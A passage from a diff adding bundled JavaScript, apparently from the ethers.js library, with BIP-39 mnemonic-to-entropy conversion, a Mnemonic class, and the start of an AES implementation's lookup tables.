words.length; i++) { + let index = wordlist.getWordIndex(words[i].normalize("NFKD")); + assertArgument(index >= 0, `invalid mnemonic word at index ${i}`, "mnemonic", "[ REDACTED ]"); + for (let bit = 0; bit < 11; bit++) { + if (index & (1 << (10 - bit))) { + entropy[offset >> 3] |= (1 << (7 - (offset % 8))); + } + offset++; + } + } + const entropyBits = 32 * words.length / 3; + const checksumBits = words.length / 3; + const checksumMask = getUpperMask(checksumBits); + const checksum = getBytes(sha256(entropy.slice(0, entropyBits / 8)))[0] & checksumMask; + assertArgument(checksum === (entropy[entropy.length - 1] & checksumMask), "invalid mnemonic checksum", "mnemonic", "[ REDACTED ]"); + return hexlify(entropy.slice(0, entropyBits / 8)); + } + function entropyToMnemonic(entropy, wordlist) { + assertArgument((entropy.length % 4) === 0 && entropy.length >= 16 && entropy.length <= 32, "invalid entropy size", "entropy", "[ REDACTED ]"); + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const indices = [0]; + let remainingBits = 11; + for (let i = 0; i < entropy.length; i++) { + // Consume the whole byte (with still more to go) + if (remainingBits > 8) { + indices[indices.length - 1] <<= 8; + indices[indices.length - 1] |= entropy[i]; + remainingBits -= 8; + // This byte will complete an 11-bit index + } + else { + indices[indices.length - 1] <<= remainingBits; + indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits); + // Start the next word + indices.push(entropy[i] & getLowerMask(8 - remainingBits)); + remainingBits += 3; + } + } + // Compute the checksum bits + const checksumBits = entropy.length / 4; + const checksum = parseInt(sha256(entropy).substring(2, 4), 16) & getUpperMask(checksumBits); + // Shift the checksum into the word indices + indices[indices.length - 1] <<= checksumBits; + indices[indices.length - 1] |= (checksum >> (8 - checksumBits)); + return wordlist.join(indices.map((index) => wordlist.getWord(index))); + } + const _guard$1 = {}; + /** + * A **Mnemonic** wraps all properties required to compute [[link-bip-39]] + * seeds and convert between phrases and entropy. + */ + class Mnemonic { + /** + * The mnemonic phrase of 12, 15, 18, 21 or 24 words. + * + * Use the [[wordlist]] ``split`` method to get the individual words. + */ + phrase; + /** + * The password used for this mnemonic. If no password is used this + * is the empty string (i.e. ``""``) as per the specification. + */ + password; + /** + * The wordlist for this mnemonic. + */ + wordlist; + /** + * The underlying entropy which the mnemonic encodes. + */ + entropy; + /** + * @private + */ + constructor(guard, entropy, phrase, password, wordlist) { + if (password == null) { + password = ""; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + assertPrivate(guard, _guard$1, "Mnemonic"); + defineProperties(this, { phrase, password, wordlist, entropy }); + } + /** + * Returns the seed for the mnemonic. + */ + computeSeed() { + const salt = toUtf8Bytes("mnemonic" + this.password, "NFKD"); + return pbkdf2(toUtf8Bytes(this.phrase, "NFKD"), salt, 2048, 64, "sha512"); + } + /** + * Creates a new Mnemonic for the %%phrase%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromPhrase(phrase, password, wordlist) { + // Normalize the case and space; throws if invalid + const entropy = mnemonicToEntropy(phrase, wordlist); + phrase = entropyToMnemonic(getBytes(entropy), wordlist); + return new Mnemonic(_guard$1, entropy, phrase, password, wordlist); + } + /** + * Create a new **Mnemonic** from the %%entropy%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromEntropy(_entropy, password, wordlist) { + const entropy = getBytes(_entropy, "entropy"); + const phrase = entropyToMnemonic(entropy, wordlist); + return new Mnemonic(_guard$1, hexlify(entropy), phrase, password, wordlist); + } + /** + * Returns the phrase for %%mnemonic%%. + */ + static entropyToPhrase(_entropy, wordlist) { + const entropy = getBytes(_entropy, "entropy"); + return entropyToMnemonic(entropy, wordlist); + } + /** + * Returns the entropy for %%phrase%%. + */ + static phraseToEntropy(phrase, wordlist) { + return mnemonicToEntropy(phrase, wordlist); + } + /** + * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase. + * + * This checks all the provided words belong to the %%wordlist%%, + * that the length is valid and the checksum is correct. + */ + static isValidMnemonic(phrase, wordlist) { + try { + mnemonicToEntropy(phrase, wordlist); + return true; + } + catch (error) { } + return false; + } + } + + /*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */ + var __classPrivateFieldGet$2 = (__$G && __$G.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); + }; + var __classPrivateFieldSet$2 = (__$G && __$G.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; + }; + var _AES_key, _AES_Kd, _AES_Ke; + // Number of rounds by keysize + const numberOfRounds = { 16: 10, 24: 12, 32: 14 }; + // Round constant words + const rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]; + // S-box and Inverse S-box (S is for Substitution) + const S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9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0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]; + // Transformations for encryption + const T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a]; + const T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616]; + const T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16]; + const T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c]; + // Transformations for decryption + const T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 